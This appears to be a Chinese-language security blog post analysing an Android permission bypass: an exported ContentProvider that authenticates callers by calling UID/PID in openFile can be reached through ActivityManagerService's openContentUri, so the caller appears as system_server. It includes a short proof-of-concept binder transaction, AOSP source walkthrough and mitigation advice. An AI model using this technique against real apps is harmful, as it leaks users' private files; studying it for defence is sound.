ContentProvider openFile 内部校验的绕过方式

Overview

该技巧来源是我偶然间被推送的一条小蓝鸟:

twitter.png

当在ContentProvideropenFile方法内使用CallingUid或是CallingPid进行校验,是一种不合规范且不安全的权限校验方式,有被绕过的可能性。攻击者可以获取到一个只读的文件对象,造成文件泄漏。

复现 & 利用限制

复现方式比较简单,利用ActivityMangerService中的openContentUri接口可以拿到一个文件对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// pls check it in android.app.IActivityManager
private static final int TRANSACTION_openContentUri = 1;
void poc() {
try {
IBinder binder = getService("activity");

Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
String description = binder.getInterfaceDescriptor();
Log.e(TAG,"connect to " + description);

data.writeInterfaceToken(description);
data.writeString("content://com.n1rv0us.test/");

binder.transact(TRANSACTION_openContentUri, data, reply, 0);
reply.readException();

} catch (Throwable throwable) {
throwable.printStackTrace();
}
}

利用条件是:

  • 需要目标ContentProvider是一个导出的组件

  • 在目标ContentProvideropenFile接口内利用 uid/pid 或其关联的permission来鉴权;

利用效果:

  • 调用者可以使用system_server(shareUid=1000), 来访问openFile接口;

利用原理

以下所有代码片段均可在https://cs.android.com/ 中找到对应的内容;

poc中拿到与AMS通信用的binder对象后,调用了openContentUri即会转交到AMS的对应方法中做处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
public ParcelFileDescriptor openContentUri(String uriString) throws RemoteException {
enforceNotIsolatedCaller("openContentUri");
final int userId = UserHandle.getCallingUserId();
final Uri uri = Uri.parse(uriString);
String name = uri.getAuthority();
ContentProviderHolder cph = mCpHelper.getContentProviderExternalUnchecked(name, null,
Binder.getCallingUid(), "*opencontent*", userId); // 获取对应的ContentProviderHolder
ParcelFileDescriptor pfd = null;
if (cph != null) {
try {
// This method is exposed to the VNDK and to avoid changing its
// signature we just use the first package in the UID. For shared
// UIDs we may blame the wrong app but that is Okay as they are
// in the same security/privacy sandbox.
final int uid = Binder.getCallingUid();
// Here we handle some of the special UIDs (mediaserver, systemserver, etc)
final String packageName = AppOpsManager.resolvePackageName(uid,
/*packageName*/ null);
final AndroidPackage androidPackage;
if (packageName != null) {
androidPackage = mPackageManagerInt.getPackage(packageName);
} else {
androidPackage = mPackageManagerInt.getPackage(uid);
}
if (androidPackage == null) {
Log.e(TAG, "Cannot find package for uid: " + uid);
return null;
}
final AttributionSource attributionSource = new AttributionSource(
Binder.getCallingUid(), androidPackage.getPackageName(), null); // 整理调用者信息
pfd = cph.provider.openFile(attributionSource, uri, "r", null); // 以read模式调用openFile
} catch (FileNotFoundException e) {
// do nothing; pfd will be returned null
} finally {
// Ensure we're done with the provider.
mCpHelper.removeContentProviderExternalUnchecked(name, null, userId);
}
} else {
Slog.d(TAG, "Failed to get provider for authority '" + name + "'");
}
return pfd;
}

首先获取到目标Provider的ContentProviderHolder 将调用者的信息全部整理到AttributionSource 后调用provider的openFile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// frameworks/base/core/java/android/content/ContentProvider.java
@Override
public ParcelFileDescriptor openFile(@NonNull AttributionSource attributionSource,
Uri uri, String mode, ICancellationSignal cancellationSignal)
throws FileNotFoundException {
uri = validateIncomingUri(uri);
uri = maybeGetUriWithoutUserId(uri);
enforceFilePermission(attributionSource, uri, mode); // 检查调用者对于uri的读写权限;本案例中仅会检查读权限
traceBegin(TRACE_TAG_DATABASE, "openFile: ", uri.getAuthority());
final AttributionSource original = setCallingAttributionSource(
attributionSource);
try {
return mInterface.openFile(
uri, mode, CancellationSignal.fromTransport(cancellationSignal)); // 移交到对应的openFile函数做处理;
} catch (RemoteException e) {
throw e.rethrowAsRuntimeException();
} finally {
setCallingAttributionSource(original);
Trace.traceEnd(TRACE_TAG_DATABASE);
}
}

值得注意的是,该openFile方法并不是开发者经常Override的接口,开发者常用的接口在后续的中.

1
2
3
4
5
6
7
8
9
10
11
12
13
// frameworks/base/core/java/android/content/ContentProvider.java
@Override
public @Nullable ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode,
@Nullable CancellationSignal signal) throws FileNotFoundException {
return openFile(uri, mode);
}

// 我们通常会Override下面这个方法
public @Nullable ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode)
throws FileNotFoundException {
throw new FileNotFoundException("No files supported by provider at "
+ uri);
}

综上,当此时调用Binder.getCallingUid的时候,拿到的就会是system_server的uid而非实际调用者的uid。

告警与反思

从Android对于ContentProvider的openFile接口的设计角度,使用Binder.getCallingUid 的方式来获取调用者的uid是不准确的。让我们回顾下,Android系统是如何做鉴权的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// frameworks/base/core/java/android/content/ContentProvider.java
@PermissionCheckerManager.PermissionResult
private void enforceFilePermission(@NonNull AttributionSource attributionSource,
Uri uri, String mode)
throws FileNotFoundException, SecurityException {
if (mode != null && mode.indexOf('w') != -1) {
if (enforceWritePermission(attributionSource, uri) // 检查写权限
!= PermissionChecker.PERMISSION_GRANTED) {
throw new FileNotFoundException("App op not allowed");
}
} else {
if (enforceReadPermission(attributionSource, uri) // 检查读权限
!= PermissionChecker.PERMISSION_GRANTED) {
throw new FileNotFoundException("App op not allowed");
}
}
}


@PermissionCheckerManager.PermissionResult
private int enforceReadPermission(@NonNull AttributionSource attributionSource, Uri uri)
throws SecurityException {
final int result = enforceReadPermissionInner(uri, attributionSource);
if (result != PermissionChecker.PERMISSION_GRANTED) {
return result;
}
// Only check the read op if it differs from the one for the permission
// we already checked above to avoid double attribution for every access.
if (mTransport.mReadOp != AppOpsManager.OP_NONE
&& mTransport.mReadOp != AppOpsManager.permissionToOpCode(mReadPermission)) {
return PermissionChecker.checkOpForDataDelivery(getContext(),
AppOpsManager.opToPublicName(mTransport.mReadOp),
attributionSource, /*message*/ null);
}
return PermissionChecker.PERMISSION_GRANTED;
}

由于本次的访问是经过system_server进行了一次转发,因此,完整的callingUids应当是Binder.getCallingUid + AttributionSource中所包含的uid信息;

对于一个Android开发者,建议尽量依赖系统本身提供的机制来完成访问控制,如组件的导出(exported)以及grantUriPermission机制。

REFERENCE

感谢@炜唯提供的帮助与指导~